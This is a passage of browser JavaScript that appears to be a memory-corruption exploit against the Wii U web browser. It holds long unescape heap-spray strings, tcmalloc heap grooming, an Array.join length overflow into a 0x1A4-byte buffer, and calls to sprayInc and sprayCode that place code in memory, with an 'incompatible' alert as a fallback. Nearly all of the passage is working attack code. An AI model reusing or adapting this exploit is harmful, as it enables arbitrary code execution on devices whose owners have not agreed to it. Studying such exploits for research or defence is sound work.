str += unescape("%u0000%u73c0%u0000%u73c4%u0000%u73c8%u0000%u73cc%u0000%u73d0%u0000%u73d4%u0000%u73d8%u0000%u73dc%u0000%u73e0%u0000%u73e4%u0000%u73e8%u0000%u73ec%u0000%u73f0%u0000%u73f4%u0000%u73f8%u0000%u73fc");
str += unescape("%u0000%u7400%u0000%u7404%u0000%u7408%u0000%u740c%u0000%u7410%u0000%u7414%u0000%u7418%u0000%u741c%u0000%u7420%u0000%u7424%u0000%u7428%u0000%u742c%u0000%u7430%u0000%u7434%u0000%u7438%u0000%u743c");
str += unescape("%u0000%u7440%u0000%u7444%u0000%u7448%u0000%u744c%u0000%u7450%u0000%u7454%u0000%u7458%u0000%u745c%u0000%u7460%u0000%u7464%u0000%u7468%u0000%u746c%u0000%u7470%u0000%u7474%u0000%u7478%u0000%u747c");
str += unescape("%u0000%u7480%u0000%u7484%u0000%u7488%u0000%u748c%u0000%u7490%u0000%u7494%u0000%u7498%u0000%u749c%u0000%u74a0%u0000%u74a4%u0000%u74a8%u0000%u74ac%u0000%u74b0%u0000%u74b4%u0000%u74b8%u0000%u74bc");
str += unescape("%u0000%u74c0%u0000%u74c4%u0000%u74c8%u0000%u74cc%u0000%u74d0%u0000%u74d4%u0000%u74d8%u0000%u74dc%u0000%u74e0%u0000%u74e4%u0000%u74e8%u0000%u74ec%u0000%u74f0%u0000%u74f4%u0000%u74f8%u0000%u74fc");
str += unescape("%u0000%u7500%u0000%u7504%u0000%u7508%u0000%u750c%u0000%u7510%u0000%u7514%u0000%u7518%u0000%u751c%u0000%u7520%u0000%u7524%u0000%u7528%u0000%u752c%u0000%u7530%u0000%u7534%u0000%u7538%u0000%u753c");
str += unescape("%u0000%u7540%u0000%u7544%u0000%u7548%u0000%u754c%u0000%u7550%u0000%u7554%u0000%u7558%u0000%u755c%u0000%u7560%u0000%u7564%u0000%u7568%u0000%u756c%u0000%u7570%u0000%u7574%u0000%u7578%u0000%u757c");
str += unescape("%u0000%u7580%u0000%u7584%u0000%u7588%u0000%u758c%u0000%u7590%u0000%u7594%u0000%u7598%u0000%u759c%u0000%u75a0%u0000%u75a4%u0000%u75a8%u0000%u75ac%u0000%u75b0%u0000%u75b4%u0000%u75b8%u0000%u75bc");
str += unescape("%u0000%u75c0%u0000%u75c4%u0000%u75c8%u0000%u75cc%u0000%u75d0%u0000%u75d4%u0000%u75d8%u0000%u75dc%u0000%u75e0%u0000%u75e4%u0000%u75e8%u0000%u75ec%u0000%u75f0%u0000%u75f4%u0000%u75f8%u0000%u75fc");
str += unescape("%u0000%u7600%u0000%u7604%u0000%u7608%u0000%u760c%u0000%u7610%u0000%u7614%u0000%u7618%u0000%u761c%u0000%u7620%u0000%u7624%u0000%u7628%u0000%u762c%u0000%u7630%u0000%u7634%u0000%u7638%u0000%u763c");
str += unescape("%u0000%u7640%u0000%u7644%u0000%u7648%u0000%u764c%u0000%u7650%u0000%u7654%u0000%u7658%u0000%u765c%u0000%u7660%u0000%u7664%u0000%u7668%u0000%u766c%u0000%u7670%u0000%u7674%u0000%u7678%u0000%u767c");
str += unescape("%u0000%u7680%u0000%u7684%u0000%u7688%u0000%u768c%u0000%u7690%u0000%u7694%u0000%u7698%u0000%u769c%u0000%u76a0%u0000%u76a4%u0000%u76a8%u0000%u76ac%u0000%u76b0%u0000%u76b4%u0000%u76b8%u0000%u76bc");
str += unescape("%u0000%u76c0%u0000%u76c4%u0000%u76c8%u0000%u76cc%u0000%u76d0%u0000%u76d4%u0000%u76d8%u0000%u76dc%u0000%u76e0%u0000%u76e4%u0000%u76e8%u0000%u76ec%u0000%u76f0%u0000%u76f4%u0000%u76f8%u0000%u76fc");
str += unescape("%u0000%u7700%u0000%u7704%u0000%u7708%u0000%u770c%u0000%u7710%u0000%u7714%u0000%u7718%u0000%u771c%u0000%u7720%u0000%u7724%u0000%u7728%u0000%u772c%u0000%u7730%u0000%u7734%u0000%u7738%u0000%u773c");
str += unescape("%u0000%u7740%u0000%u7744%u0000%u7748%u0000%u774c%u0000%u7750%u0000%u7754%u0000%u7758%u0000%u775c%u0000%u7760%u0000%u7764%u0000%u7768%u0000%u776c%u0000%u7770%u0000%u7774%u0000%u7778%u0000%u777c");
str += unescape("%u0000%u7780%u0000%u7784%u0000%u7788%u0000%u778c%u0000%u7790%u0000%u7794%u0000%u7798%u0000%u779c%u0000%u77a0%u0000%u77a4%u0000%u77a8%u0000%u77ac%u0000%u77b0%u0000%u77b4%u0000%u77b8%u0000%u77bc");
str += unescape("%u0000%u77c0%u0000%u77c4%u0000%u77c8%u0000%u77cc%u0000%u77d0%u0000%u77d4%u0000%u77d8%u0000%u77dc%u0000%u77e0%u0000%u77e4%u0000%u77e8%u0000%u77ec%u0000%u77f0%u0000%u77f4%u0000%u77f8%u0000%u77fc");
str += unescape("%u0000%u7800%u0000%u7804%u0000%u7808%u0000%u780c%u0000%u7810%u0000%u7814%u0000%u7818%u0000%u781c%u0000%u7820%u0000%u7824%u0000%u7828%u0000%u782c%u0000%u7830%u0000%u7834%u0000%u7838%u0000%u783c");
str += unescape("%u0000%u7840%u0000%u7844%u0000%u7848%u0000%u784c%u0000%u7850%u0000%u7854%u0000%u7858%u0000%u785c%u0000%u7860%u0000%u7864%u0000%u7868%u0000%u786c%u0000%u7870%u0000%u7874%u0000%u7878%u0000%u787c");
str += unescape("%u0000%u7880%u0000%u7884%u0000%u7888%u0000%u788c%u0000%u7890%u0000%u7894%u0000%u7898%u0000%u789c%u0000%u78a0%u0000%u78a4%u0000%u78a8%u0000%u78ac%u0000%u78b0%u0000%u78b4%u0000%u78b8%u0000%u78bc");
str += unescape("%u0000%u78c0%u0000%u78c4%u0000%u78c8%u0000%u78cc%u0000%u78d0%u0000%u78d4%u0000%u78d8%u0000%u78dc%u0000%u78e0%u0000%u78e4%u0000%u78e8%u0000%u78ec%u0000%u78f0%u0000%u78f4%u0000%u78f8%u0000%u78fc");
str += unescape("%u0000%u7900%u0000%u7904%u0000%u7908%u0000%u790c%u0000%u7910%u0000%u7914%u0000%u7918%u0000%u791c%u0000%u7920%u0000%u7924%u0000%u7928%u0000%u792c%u0000%u7930%u0000%u7934%u0000%u7938%u0000%u793c");
str += unescape("%u0000%u7940%u0000%u7944%u0000%u7948%u0000%u794c%u0000%u7950%u0000%u7954%u0000%u7958%u0000%u795c%u0000%u7960%u0000%u7964%u0000%u7968%u0000%u796c%u0000%u7970%u0000%u7974%u0000%u7978%u0000%u797c");
str += unescape("%u0000%u7980%u0000%u7984%u0000%u7988%u0000%u798c%u0000%u7990%u0000%u7994%u0000%u7998%u0000%u799c%u0000%u79a0%u0000%u79a4%u0000%u79a8%u0000%u79ac%u0000%u79b0%u0000%u79b4%u0000%u79b8%u0000%u79bc");
str += unescape("%u0000%u79c0%u0000%u79c4%u0000%u79c8%u0000%u79cc%u0000%u79d0%u0000%u79d4%u0000%u79d8%u0000%u79dc%u0000%u79e0%u0000%u79e4%u0000%u79e8%u0000%u79ec%u0000%u79f0%u0000%u79f4%u0000%u79f8%u0000%u79fc");
str += unescape("%u0000%u7a00%u0000%u7a04%u0000%u7a08%u0000%u7a0c%u0000%u7a10%u0000%u7a14%u0000%u7a18%u0000%u7a1c%u0000%u7a20%u0000%u7a24%u0000%u7a28%u0000%u7a2c%u0000%u7a30%u0000%u7a34%u0000%u7a38%u0000%u7a3c");
str += unescape("%u0000%u7a40%u0000%u7a44%u0000%u7a48%u0000%u7a4c%u0000%u7a50%u0000%u7a54%u0000%u7a58%u0000%u7a5c%u0000%u7a60%u0000%u7a64%u0000%u7a68%u0000%u7a6c%u0000%u7a70%u0000%u7a74%u0000%u7a78%u0000%u7a7c");
str += unescape("%u0000%u7a80%u0000%u7a84%u0000%u7a88%u0000%u7a8c%u0000%u7a90%u0000%u7a94%u0000%u7a98%u0000%u7a9c%u0000%u7aa0%u0000%u7aa4%u0000%u7aa8%u0000%u7aac%u0000%u7ab0%u0000%u7ab4%u0000%u7ab8%u0000%u7abc");
str += unescape("%u0000%u7ac0%u0000%u7ac4%u0000%u7ac8%u0000%u7acc%u0000%u7ad0%u0000%u7ad4%u0000%u7ad8%u0000%u7adc%u0000%u7ae0%u0000%u7ae4%u0000%u7ae8%u0000%u7aec%u0000%u7af0%u0000%u7af4%u0000%u7af8%u0000%u7afc");
str += unescape("%u0000%u7b00%u0000%u7b04%u0000%u7b08%u0000%u7b0c%u0000%u7b10%u0000%u7b14%u0000%u7b18%u0000%u7b1c%u0000%u7b20%u0000%u7b24%u0000%u7b28%u0000%u7b2c%u0000%u7b30%u0000%u7b34%u0000%u7b38%u0000%u7b3c");
str += unescape("%u0000%u7b40%u0000%u7b44%u0000%u7b48%u0000%u7b4c%u0000%u7b50%u0000%u7b54%u0000%u7b58%u0000%u7b5c%u0000%u7b60%u0000%u7b64%u0000%u7b68%u0000%u7b6c%u0000%u7b70%u0000%u7b74%u0000%u7b78%u0000%u7b7c");
str += unescape("%u0000%u7b80%u0000%u7b84%u0000%u7b88%u0000%u7b8c%u0000%u7b90%u0000%u7b94%u0000%u7b98%u0000%u7b9c%u0000%u7ba0%u0000%u7ba4%u0000%u7ba8%u0000%u7bac%u0000%u7bb0%u0000%u7bb4%u0000%u7bb8%u0000%u7bbc");
str += unescape("%u0000%u7bc0%u0000%u7bc4%u0000%u7bc8%u0000%u7bcc%u0000%u7bd0%u0000%u7bd4%u0000%u7bd8%u0000%u7bdc%u0000%u7be0%u0000%u7be4%u0000%u7be8%u0000%u7bec%u0000%u7bf0%u0000%u7bf4%u0000%u7bf8%u0000%u7bfc");
str += unescape("%u0000%u7c00%u0000%u7c04%u0000%u7c08%u0000%u7c0c%u0000%u7c10%u0000%u7c14%u0000%u7c18%u0000%u7c1c%u0000%u7c20%u0000%u7c24%u0000%u7c28%u0000%u7c2c%u0000%u7c30%u0000%u7c34%u0000%u7c38%u0000%u7c3c");
str += unescape("%u0000%u7c40%u0000%u7c44%u0000%u7c48%u0000%u7c4c%u0000%u7c50%u0000%u7c54%u0000%u7c58%u0000%u7c5c%u0000%u7c60%u0000%u7c64%u0000%u7c68%u0000%u7c6c%u0000%u7c70%u0000%u7c74%u0000%u7c78%u0000%u7c7c");
str += unescape("%u0000%u7c80%u0000%u7c84%u0000%u7c88%u0000%u7c8c%u0000%u7c90%u0000%u7c94%u0000%u7c98%u0000%u7c9c%u0000%u7ca0%u0000%u7ca4%u0000%u7ca8%u0000%u7cac%u0000%u7cb0%u0000%u7cb4%u0000%u7cb8%u0000%u7cbc");
str += unescape("%u0000%u7cc0%u0000%u7cc4%u0000%u7cc8%u0000%u7ccc%u0000%u7cd0%u0000%u7cd4%u0000%u7cd8%u0000%u7cdc%u0000%u7ce0%u0000%u7ce4%u0000%u7ce8%u0000%u7cec%u0000%u7cf0%u0000%u7cf4%u0000%u7cf8%u0000%u7cfc");
str += unescape("%u0000%u7d00%u0000%u7d04%u0000%u7d08%u0000%u7d0c%u0000%u7d10%u0000%u7d14%u0000%u7d18%u0000%u7d1c%u0000%u7d20%u0000%u7d24%u0000%u7d28%u0000%u7d2c%u0000%u7d30%u0000%u7d34%u0000%u7d38%u0000%u7d3c");
str += unescape("%u0000%u7d40%u0000%u7d44%u0000%u7d48%u0000%u7d4c%u0000%u7d50%u0000%u7d54%u0000%u7d58%u0000%u7d5c%u0000%u7d60%u0000%u7d64%u0000%u7d68%u0000%u7d6c%u0000%u7d70%u0000%u7d74%u0000%u7d78%u0000%u7d7c");
str += unescape("%u0000%u7d80%u0000%u7d84%u0000%u7d88%u0000%u7d8c%u0000%u7d90%u0000%u7d94%u0000%u7d98%u0000%u7d9c%u0000%u7da0%u0000%u7da4%u0000%u7da8%u0000%u7dac%u0000%u7db0%u0000%u7db4%u0000%u7db8%u0000%u7dbc");
str += unescape("%u0000%u7dc0%u0000%u7dc4%u0000%u7dc8%u0000%u7dcc%u0000%u7dd0%u0000%u7dd4%u0000%u7dd8%u0000%u7ddc%u0000%u7de0%u0000%u7de4%u0000%u7de8%u0000%u7dec%u0000%u7df0%u0000%u7df4%u0000%u7df8%u0000%u7dfc");
str += unescape("%u0000%u7e00%u0000%u7e04%u0000%u7e08%u0000%u7e0c%u0000%u7e10%u0000%u7e14%u0000%u7e18%u0000%u7e1c%u0000%u7e20%u0000%u7e24%u0000%u7e28%u0000%u7e2c%u0000%u7e30%u0000%u7e34%u0000%u7e38%u0000%u7e3c");
str += unescape("%u0000%u7e40%u0000%u7e44%u0000%u7e48%u0000%u7e4c%u0000%u7e50%u0000%u7e54%u0000%u7e58%u0000%u7e5c%u0000%u7e60%u0000%u7e64%u0000%u7e68%u0000%u7e6c%u0000%u7e70%u0000%u7e74%u0000%u7e78%u0000%u7e7c");
str += unescape("%u0000%u7e80%u0000%u7e84%u0000%u7e88%u0000%u7e8c%u0000%u7e90%u0000%u7e94%u0000%u7e98%u0000%u7e9c%u0000%u7ea0%u0000%u7ea4%u0000%u7ea8%u0000%u7eac%u0000%u7eb0%u0000%u7eb4%u0000%u7eb8%u0000%u7ebc");
str += unescape("%u0000%u7ec0%u0000%u7ec4%u0000%u7ec8%u0000%u7ecc%u0000%u7ed0%u0000%u7ed4%u0000%u7ed8%u0000%u7edc%u0000%u7ee0%u0000%u7ee4%u0000%u7ee8%u0000%u7eec%u0000%u7ef0%u0000%u7ef4%u0000%u7ef8%u0000%u7efc");
str += unescape("%u0000%u7f00%u0000%u7f04%u0000%u7f08%u0000%u7f0c%u0000%u7f10%u0000%u7f14%u0000%u7f18%u0000%u7f1c%u0000%u7f20%u0000%u7f24%u0000%u7f28%u0000%u7f2c%u0000%u7f30%u0000%u7f34%u0000%u7f38%u0000%u7f3c");
str += unescape("%u0000%u7f40%u0000%u7f44%u0000%u7f48%u0000%u7f4c%u0000%u7f50%u0000%u7f54%u0000%u7f58%u0000%u7f5c%u0000%u7f60%u0000%u7f64%u0000%u7f68%u0000%u7f6c%u0000%u7f70%u0000%u7f74%u0000%u7f78%u0000%u7f7c");
str += unescape("%u0000%u7f80%u0000%u7f84%u0000%u7f88%u0000%u7f8c%u0000%u7f90%u0000%u7f94%u0000%u7f98%u0000%u7f9c%u0000%u7fa0%u0000%u7fa4%u0000%u7fa8%u0000%u7fac%u0000%u7fb0%u0000%u7fb4%u0000%u7fb8%u0000%u7fbc");
str += unescape("%u0000%u7fc0%u0000%u7fc4%u0000%u7fc8%u0000%u7fcc%u0000%u7fd0%u0000%u7fd4%u0000%u7fd8%u0000%u7fdc%u0000%u7fe0%u0000%u7fe4%u0000%u7fe8%u0000%u7fec%u0000%u7ff0%u0000%u7ff4%u0000%u7ff8%u0000%u7ffc");
var h1 = [];
h1[0] = str.substring(0, str.length);
for (i = 1; i <= n; i++)
h1[i] = unescape(h1[0]);
return h1;
}
// Format uint32.
function uint32(value){
var s = '';
for (var i = 0; i < 4; i++) {
s += String.fromCharCode((value >> (i * 8)) & 0xff);
}
return s;
}
// Memory placeholder.
holder = [];
// Allocate the overwrite string.
unbound_payload = uint32(0xffffffff);
overwrite_string = alloc(0x1A0, 0) + unbound_payload;
// Flatten overwrite_string.
holder.push(overwrite_string[0]);
// Build the overwrite array.
arr = [];
// Array to be joined.
// 0x10000 * 0x10000 + 0x1A0 + 0x4 = 0x1000001A4
// Buffer size is 0x1A4.
function build_arr() {
arr.length = 0;
arr.push(overwrite_string);
for (var i = 0; i < 0x10000; i++) {
arr.push(long_string);
}
}
// Free primitive.
var force_alloc_and_free = {
toString: build_arr
};
var force_arr = [];
force_arr.push(force_alloc_and_free);
for (var i = 1; i < 0x1A4/4; i++)
{
force_arr.push('');
}
// Force allocations to trick tcmalloc.
for(var i = 0; i < 1635; i++) {
holder.push(alloc(0x1A0 - 0x20, 1));
}
// Create link element.
elem = document.createElement("link");
// Allocate infoleak string.
target = alloc(0x1A0 - 0x20, 2);
// Allocate long string.
long_string = alloc(0x10004, 6944); // Decimal of the half-address which is repeated. Ex: 0x1B20 = 0x1B201B20
// Make and free 0x1A4 bytes.
force_arr.join();
var pointer = sprayInc(420);
var code = sprayCode(300);
arr.join();
alert("Your Wii U is incompatible.");
</script>